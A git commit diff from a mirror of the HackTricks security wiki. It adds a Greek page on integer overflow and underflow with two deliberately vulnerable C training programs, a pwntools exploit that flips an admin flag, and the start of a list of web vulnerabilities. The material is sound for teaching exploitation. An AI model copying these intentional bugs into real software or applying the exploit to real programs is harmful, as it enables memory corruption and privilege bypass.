mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo
This commit is contained in:
parent
0fe6b537d6
commit
a36aa9433e
@ -785,7 +785,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
|
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,368 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Στον πυρήνα ενός **integer overflow** βρίσκεται ο περιορισμός που επιβάλλει το **μέγεθος** των τύπων δεδομένων στον προγραμματισμό και η **ερμηνεία** των δεδομένων.
|
||||
|
||||
Για παράδειγμα, ένας **8-bit unsigned integer** μπορεί να αναπαραστήσει τιμές από **0 to 255**. Αν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-bit unsigned integer, τυλίγεται στο 0 λόγω του περιορισμού της χωρητικότητάς του. Ομοίως, για έναν **16-bit unsigned integer**, που μπορεί να κρατήσει τιμές από **0 to 65,535**, η προσθήκη 1 στο 65,535 θα κάνει την τιμή να επιστρέψει στο 0.
|
||||
|
||||
Επιπλέον, ένας **8-bit signed integer** μπορεί να αναπαραστήσει τιμές από **-128 to 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για την αναπαράσταση του πρόσημου (θετικό ή αρνητικό), αφήνοντας 7 bits για την αναπαράσταση του μεγέθους. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (binary `10000000`), και ο πιο θετικός αριθμός είναι **127** (binary `01111111`).
|
||||
|
||||
Μέγιστες τιμές για κοινούς τύπους ακεραίων:
|
||||
| Τύπος | Μέγεθος (bits) | Ελάχιστη Τιμή | Μέγιστη Τιμή |
|
||||
|----------------|-------------|--------------------|--------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
Ένα short είναι ισοδύναμο με `int16_t` και ένα int είναι ισοδύναμο με `int32_t` και ένα long είναι ισοδύναμο με `int64_t` σε συστήματα 64bits.
|
||||
|
||||
### Μέγιστες τιμές
|
||||
|
||||
Για πιθανές **web vulnerabilities** είναι πολύ χρήσιμο να γνωρίζετε τις μέγιστες υποστηριζόμενες τιμές:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Παραδείγματα
|
||||
|
||||
### Καθαρό overflow
|
||||
|
||||
Το εκτυπωμένο αποτέλεσμα θα είναι 0 καθώς προκαλέσαμε overflow στο char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Μετατροπή Signed σε Unsigned
|
||||
|
||||
Εξετάστε μια περίπτωση όπου ένας signed ακέραιος διαβάζεται από την είσοδο χρήστη και στη συνέχεια χρησιμοποιείται σε ένα πλαίσιο που τον αντιμετωπίζει ως unsigned ακέραιο, χωρίς κατάλληλο έλεγχο:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σε αυτό το παράδειγμα, αν ένας χρήστης εισάγει έναν αρνητικό αριθμό, αυτός θα ερμηνευτεί ως μεγάλος unsigned integer λόγω του τρόπου με τον οποίο ερμηνεύονται οι δυαδικές τιμές, ενδεχομένως οδηγώντας σε απροσδόκητη συμπεριφορά.
|
||||
|
||||
### macOS Overflow Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Μεταγλωττίστε το με:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
#### Exploit
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
### macOS Underflow Παράδειγμα
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Μεταγλωττίστε το με:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
### Άλλα Παραδείγματα
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Χρησιμοποιείται μόνο 1B για να αποθηκευτεί το μέγεθος του password, οπότε είναι δυνατό να γίνει overflow και να το κάνει να πιστέψει ότι το μήκος είναι 4 ενώ στην πραγματικότητα είναι 260, για να bypass την length check protection
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Δεδομένων μερικών αριθμών, βρες με χρήση z3 έναν νέο αριθμό που, όταν πολλαπλασιαστεί με τον πρώτο, θα δώσει τον δεύτερο:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Χρησιμοποιείται μόνο 1B για να αποθηκευτεί το μέγεθος του password, οπότε είναι δυνατό να γίνει overflow και να το κάνει να πιστέψει ότι το μήκος του είναι 4 ενώ στην πραγματικότητα είναι 260, για να bypass την length check protection και να overwrite στο stack την επόμενη local variable και να bypass και τις δύο protections
|
||||
|
||||
## ARM64
|
||||
|
||||
Αυτό **δεν αλλάζει σε ARM64** όπως μπορείτε να δείτε στο [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,115 +0,0 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Στην καρδιά ενός **integer overflow** βρίσκεται ο περιορισμός που επιβάλλεται από το **μέγεθος** των τύπων δεδομένων στον προγραμματισμό υπολογιστών και την **ερμηνεία** των δεδομένων.
|
||||
|
||||
Για παράδειγμα, ένας **8-bit unsigned integer** μπορεί να αναπαραστήσει τιμές από **0 έως 255**. Αν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-bit unsigned integer, θα επανέλθει στο 0 λόγω του περιορισμού της χωρητικότητάς του. Ομοίως, για έναν **16-bit unsigned integer**, ο οποίος μπορεί να κρατήσει τιμές από **0 έως 65,535**, η προσθήκη 1 στο 65,535 θα επαναφέρει την τιμή στο 0.
|
||||
|
||||
Επιπλέον, ένας **8-bit signed integer** μπορεί να αναπαραστήσει τιμές από **-128 έως 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για να αναπαραστήσει το πρόσημο (θετικό ή αρνητικό), αφήνοντας 7 bits για να αναπαραστήσουν το μέγεθος. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (δυαδικό `10000000`), και ο πιο θετικός αριθμός είναι **127** (δυαδικό `01111111`).
|
||||
|
||||
### Max values
|
||||
|
||||
Για τις πιθανές **web vulnerabilities** είναι πολύ ενδιαφέρον να γνωρίζουμε τις μέγιστες υποστηριζόμενες τιμές:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Παραδείγματα
|
||||
|
||||
### Καθαρή υπερχείλιση
|
||||
|
||||
Το εκτυπωμένο αποτέλεσμα θα είναι 0 καθώς υπερχείλαμε το char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Σκεφτείτε μια κατάσταση όπου ένας υπογεγραμμένος ακέραιος διαβάζεται από την είσοδο του χρήστη και στη συνέχεια χρησιμοποιείται σε ένα πλαίσιο που τον αντιμετωπίζει ως άυλο ακέραιο, χωρίς κατάλληλη επικύρωση:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σε αυτό το παράδειγμα, αν ένας χρήστης εισάγει έναν αρνητικό αριθμό, θα ερμηνευτεί ως ένας μεγάλος μη υπογεγραμμένος ακέραιος λόγω του τρόπου που ερμηνεύονται οι δυαδικές τιμές, ενδεχομένως οδηγώντας σε απροσδόκητη συμπεριφορά.
|
||||
|
||||
### Άλλα Παραδείγματα
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Δεδομένων μερικών αριθμών, βρείτε χρησιμοποιώντας το z3 έναν νέο αριθμό που πολλαπλασιαζόμενος με τον πρώτο θα δώσει τον δεύτερο:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους και να επαναγράψει στη στοίβα την επόμενη τοπική μεταβλητή και να παρακάμψει και τις δύο προστασίες
|
||||
|
||||
## ARM64
|
||||
|
||||
Αυτό **δεν αλλάζει σε ARM64** όπως μπορείτε να δείτε σε [**αυτή την ανάρτηση blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,46 +1,45 @@
|
||||
# Υπερχείλιση Ακέραιου (Εφαρμογές Ιστού)
|
||||
# Integer Overflow (Web Applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Αυτή η σελίδα εστιάζει στο πώς **οι υπερχειλίσεις/κοπές ακέραιων αριθμών μπορούν να καταχραστούν σε εφαρμογές ιστού και προγράμματα περιήγησης**. Για τις πρωτογενείς εκμεταλλεύσεις μέσα σε εγγενείς δυαδικούς κώδικες μπορείτε να συνεχίσετε να διαβάζετε τη σελίδα που είναι αφιερωμένη σε αυτό:
|
||||
> Αυτή η σελίδα επικεντρώνεται στο πώς **integer overflows/truncations μπορούν να καταχραστούν σε web applications και browsers**. Για exploitation primitives μέσα σε native binaries μπορείτε να συνεχίσετε να διαβάζετε την αφιερωμένη σελίδα:
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. Γιατί η αριθμητική με ακέραιους αριθμούς εξακολουθεί να έχει σημασία στο διαδίκτυο
|
||||
## 1. Why integer math still matters on the web
|
||||
|
||||
Ακόμα και αν η πλειονότητα της επιχειρηματικής λογικής σε σύγχρονες στοίβες είναι γραμμένη σε *ασφαλείς μνήμες* γλώσσες, η υποκείμενη εκτέλεση (ή οι βιβλιοθήκες τρίτων) τελικά υλοποιείται σε C/C++. Όποτε χρησιμοποιούνται αριθμοί που ελέγχονται από τον χρήστη για την κατανομή μνημών, τον υπολογισμό μετατοπίσεων ή την εκτέλεση ελέγχων μήκους, **μια περιτύλιξη 32-bit ή 64-bit μπορεί να μετατρέψει μια φαινομενικά αβλαβή παράμετρο σε μια ανάγνωση/γραφή εκτός ορίων, μια παράκαμψη λογικής ή μια DoS**.
|
||||
Ακόμα και αν το μεγαλύτερο μέρος της business-logic στα σύγχρονα stacks γράφεται σε *ασφαλείς στη μνήμη* γλώσσες, το υποκείμενο runtime (ή third-party βιβλιοθήκες) τελικά υλοποιείται σε C/C++. Όποτε αριθμοί που ελέγχονται από τον χρήστη χρησιμοποιούνται για allocation buffers, υπολογισμό offsets, ή εκτέλεση length checks, **a 32-bit or 64-bit wrap-around μπορεί να μετατρέψει μια φαινομενικά αβλαβή παράμετρο σε out-of-bounds read/write, σε logic bypass ή σε DoS**.
|
||||
|
||||
Τυπική επιφάνεια επίθεσης:
|
||||
|
||||
1. **Αριθμητικές παράμετροι αιτήματος** – κλασικά πεδία id, offset ή count.
|
||||
2. **Επικεφαλίδες μήκους/μεγέθους** – Content-Length, μήκος πλαισίου WebSocket, HTTP/2 continuation_len, κ.λπ.
|
||||
3. **Μεταδεδομένα μορφής αρχείου που αναλύονται από τον διακομιστή ή τον πελάτη** – διαστάσεις εικόνας, μεγέθη τμημάτων, πίνακες γραμματοσειρών.
|
||||
4. **Μετατροπές σε επίπεδο γλώσσας** – υπογεγραμμένες↔μη υπογεγραμμένες μετατροπές σε PHP/Go/Rust FFI, JS Number → int32 κοπές μέσα στο V8.
|
||||
5. **Αυθεντικοποίηση & επιχειρηματική λογική** – αξία κουπονιού, τιμή ή υπολογισμοί υπολοίπου που υπερχειλίζουν σιωπηλά.
|
||||
1. **Numeric request parameters** – classic id, offset, or count fields.
|
||||
2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
|
||||
3. **File-format metadata parsed server-side or client-side** – image dimensions, chunk sizes, font tables.
|
||||
4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
|
||||
5. **Authentication & business logic** – coupon value, price, or balance calculations that silently overflow.
|
||||
|
||||
---
|
||||
|
||||
## 2. Πρόσφατες πραγματικές ευπάθειες (2023-2025)
|
||||
## 2. Recent real-world vulnerabilities (2023-2025)
|
||||
|
||||
| Έτος | Συστατικό | Ρίζα αιτίας | Επιπτώσεις |
|
||||
| Year | Component | Root cause | Impact |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | Υπερχείλιση πολλαπλασιασμού 32-bit κατά τον υπολογισμό του μεγέθους αποκωδικοποιημένων εικονοστοιχείων | Προκάλεσε ένα 0-day Chrome (BLASTPASS σε iOS), επέτρεψε *εκτέλεση απομακρυσμένου κώδικα* μέσα στο sandbox του renderer. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Κοπή σε 32-bit κατά την αύξηση ενός JSArray οδηγεί σε OOB εγγραφή στο backing store | Εκτέλεση απομακρυσμένου κώδικα μετά από μία μόνο επίσκεψη. |
|
||||
| 2025 | **Apollo GraphQL Server** (μη δημοσιευμένο patch) | Χρησιμοποιήθηκε 32-bit υπογεγραμμένος ακέραιος για τα πρώτα/τελευταία επιχειρήματα σε σελίδες; αρνητικές τιμές περιτυλίγονται σε τεράστιες θετικές | Παράκαμψη λογικής & εξάντληση μνήμης (DoS). |
|
||||
| 2023 | **libwebp – CVE-2023-4863** | υπερχείλιση πολλαπλασιασμού 32-bit κατά τον υπολογισμό του decoded pixel size | Προκάλεσε ένα Chrome 0-day (BLASTPASS στο iOS), επέτρεψε *remote code execution* μέσα στο renderer sandbox. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | συντόμευση σε 32-bit όταν αυξάνεται ένα JSArray οδηγεί σε OOB write στο backing store | Remote code execution μετά από μια μόνο επίσκεψη. |
|
||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer που χρησιμοποιήθηκε για first/last pagination args; αρνητικές τιμές τυλίγονται σε τεράστιες θετικές | Παράκαμψη λογικής & εξάντληση μνήμης (DoS). |
|
||||
|
||||
---
|
||||
|
||||
## 3. Στρατηγική δοκιμών
|
||||
## 3. Testing strategy
|
||||
|
||||
### 3.1 Φύλλο συμβουλών οριακής τιμής
|
||||
### 3.1 Boundary-value cheat-sheet
|
||||
|
||||
Στείλτε **ακραίες υπογεγραμμένες/μη υπογεγραμμένες τιμές** όπου αναμένεται ένας ακέραιος:
|
||||
